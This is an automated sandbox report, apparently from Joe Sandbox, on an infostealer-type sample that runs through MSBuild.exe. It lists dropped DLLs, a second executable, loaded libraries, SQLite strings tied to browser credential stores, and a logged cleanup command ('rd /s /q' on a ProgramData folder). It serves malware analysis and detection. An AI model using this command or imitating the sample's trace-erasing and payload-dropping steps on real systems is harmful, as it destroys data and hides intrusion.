Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC0AC60	1_2_6CC0AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCC6C00	1_2_6CCC6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCDAC30	1_2_6CCDAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD8CDC0	1_2_6CD8CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC96D90	1_2_6CC96D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC04DB0	1_2_6CC04DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD2AD50	1_2_6CD2AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCCED70	1_2_6CCCED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD88D20	1_2_6CD88D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC0AEC0	1_2_6CC0AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCA0EC0	1_2_6CCA0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC86E90	1_2_6CC86E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC9EE70	1_2_6CC9EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCE0E20	1_2_6CCE0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC00FE0	1_2_6CC00FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCDEFF0	1_2_6CCDEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD48FB0	1_2_6CD48FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC0EFB0	1_2_6CC0EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC6EF40	1_2_6CC6EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCC2F70	1_2_6CCC2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC06F10	1_2_6CC06F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD40F20	1_2_6CD40F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCEC8C0	1_2_6CCEC8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD068E0	1_2_6CD068E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD0E850	1_2_6CD0E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD4840	1_2_6CCD4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC50820	1_2_6CC50820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC8A820	1_2_6CC8A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD1C9E0	1_2_6CD1C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC349F0	1_2_6CC349F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC909A0	1_2_6CC909A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCBA9A0	1_2_6CCBA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCC09B0	1_2_6CCC09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC38960	1_2_6CC38960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC56900	1_2_6CC56900
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B2021	8_2_001B2021
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E2088	8_2_001E2088
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E40C8	8_2_001E40C8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_0020E132	8_2_0020E132
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E2123	8_2_001E2123
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_0020E1A8	8_2_0020E1A8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DE1CF	8_2_001DE1CF
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E8278	8_2_001E8278
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DE27B	8_2_001DE27B
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DE272	8_2_001DE272
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DE455	8_2_001DE455
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E0488	8_2_001E0488
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DE527	8_2_001DE527
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_0020E738	8_2_0020E738
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00218798	8_2_00218798
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00224988	8_2_00224988
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001FAA47	8_2_001FAA47
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E4AC8	8_2_001E4AC8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001BCAF2	8_2_001BCAF2
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E6D40	8_2_001E6D40
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E8D88	8_2_001E8D88
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_0020AD84	8_2_0020AD84
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00224E98	8_2_00224E98
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001EEF08	8_2_001EEF08
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00220F18	8_2_00220F18
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00226FA8	8_2_00226FA8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001EB078	8_2_001EB078
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_002151A8	8_2_002151A8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E71D8	8_2_001E71D8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B729C	8_2_001B729C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001CD39B	8_2_001CD39B
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_002133C8	8_2_002133C8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001F94C8	8_2_001F94C8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001C572C	8_2_001C572C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_0021B778	8_2_0021B778
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00221918	8_2_00221918
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001CBB36	8_2_001CBB36
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_00209BA8	8_2_00209BA8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001C3C92	8_2_001C3C92
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B1D79	8_2_001B1D79
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001E7DE8	8_2_001E7DE8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001DDED8	8_2_001DDED8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001BFEF0	8_2_001BFEF0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CB994D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CD809D0 appears 89 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104BC appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004105DE appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CB8CBE8 appears 134 times
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: String function: 001B7B80 appears 49 times
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: String function: 001FA1D8 appears 152 times
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: String function: 001E9978 appears 93 times
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: String function: 00DB7B80 appears 49 times

Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7284 -s 272

Source: T2bmenoX1o.exe, 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs T2bmenoX1o.exe
Source: T2bmenoX1o.exe	Binary or memory string: OriginalFilenameproquota.exej% vs T2bmenoX1o.exe

Source: T2bmenoX1o.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: T2bmenoX1o.exe	Static PE information: Section: .data ZLIB complexity 0.9919220753205128
Source: AAFIIJDAAA.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912177666083916
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912177666083916

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/37@13/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6CBB7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CBB7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0041147A CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_0041147A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0041196C __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z,__EH_prolog3_catch,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear,

1_2_0041196C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MW3EJX4O.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7284
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8128:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7968

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: C:\ProgramData\AAFIIJDAAA.exe	Command line argument: MZx	8_2_001B2021
Source: C:\ProgramData\AAFIIJDAAA.exe	Command line argument: MZx	8_2_001B2021
Source: C:\ProgramData\AAFIIJDAAA.exe	Command line argument: MZx	8_2_001B2021

Source: T2bmenoX1o.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: CAAKKF.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.2238905953.0000000020218000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: T2bmenoX1o.exe

Virustotal: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\T2bmenoX1o.exe "C:\Users\user\Desktop\T2bmenoX1o.exe"
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7284 -s 272
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AAFIIJDAAA.exe "C:\ProgramData\AAFIIJDAAA.exe"
Source: C:\ProgramData\AAFIIJDAAA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\AAFIIJDAAA.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJKFBAFIDAEB" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AAFIIJDAAA.exe "C:\ProgramData\AAFIIJDAAA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJKFBAFIDAEB" & exit	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
